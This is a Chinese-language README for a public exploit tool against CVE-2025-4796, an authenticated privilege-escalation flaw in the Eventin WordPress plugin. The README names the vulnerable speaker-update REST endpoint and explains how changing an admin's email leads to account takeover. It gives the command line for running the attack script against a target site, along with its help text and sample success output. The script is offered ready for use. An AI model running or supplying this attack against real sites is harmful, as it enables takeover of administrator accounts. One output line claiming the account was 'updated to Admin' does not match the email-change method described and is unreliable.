Eventin <= 4.0.34 - 通过用户邮箱更改/帐户接管实现已认证(Contributor+)权限提升
本仓库记录了一个存在于 Eventin WordPress 插件(<= 4.0.34)中的权限提升漏洞,该漏洞允许具有 Contributor+ 权限的已认证用户通过插件的演讲者更新 API 更改任意用户的电子邮件地址。通过更改管理员的电子邮件,攻击者可触发密码重置并实现帐户接管。
漏洞组件:Eventin WordPress 插件 (Eventin\Speaker\Api\SpeakerController::update_item)
受影响版本:<= 4.0.34
CVE:CVE-2025-4796
CVSS:8.8(高危)
活跃安装量:10,000+
Eventin 在更新演讲者/用户详细信息(尤其是电子邮件)之前,未正确验证调用方的身份或权限。以 Contributor(或更高权限)身份认证的攻击者可以使用插件 REST 端点更改其他用户(包括管理员)的电子邮件地址:
一旦电子邮件被更改为攻击者控制的地址,即可利用标准的 WordPress 密码重置流程接管该帐户。
文件名:CVE-2025-4796.py
此脚本自动执行以下步骤:
/wp-json/eventin/v2/speakers/<speaker_id> 发送 PUT 请求以更新演讲者的电子邮件。环境要求:
安装:
pip install requests
从命令行运行脚本:
python CVE-2025-4796.py -u https://target.site -id 9 -email [email protected] -user contributor_user -pass contributor_password
显示脚本帮助:
python CVE-2025-4796.py -h
usage: CVE-2025-4796.py [-h] -u URL -id SPEAKER_ID -email EMAIL -user USERNAME -pass PASSWORD
Exploit For: CVE-2025-4796 By: Nxploited
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-id, --speaker_id SPEAKER_ID
Enter the speaker ID for the user
-email, --email EMAIL
Enter a new email address
-user, --username USERNAME
Enter the username for the account to upgrade
-pass, --password PASSWORD
Enter the password for the account to upgrade
[*] Please wait, exploitation starting ...
[*] Disabling SSL warnings ...
[*] Logging in to WordPress ...
[+] Logged in successfully.
[*] Extracting nonce value ...
[+] Nonce extracted: fc0ab7b983
[*] Exploiting and updating speaker info ...
[+] Exploitation in progress, please wait ...
[+] Exploitation successful.
[+] The account has been updated to Admin.
Speaker ID : 9
Email : [email protected]
[!] Please reset your password using the email: [email protected]
作者:Khaled Alenaz (Nxploited)
GitHub:https://github.com/Nxploited/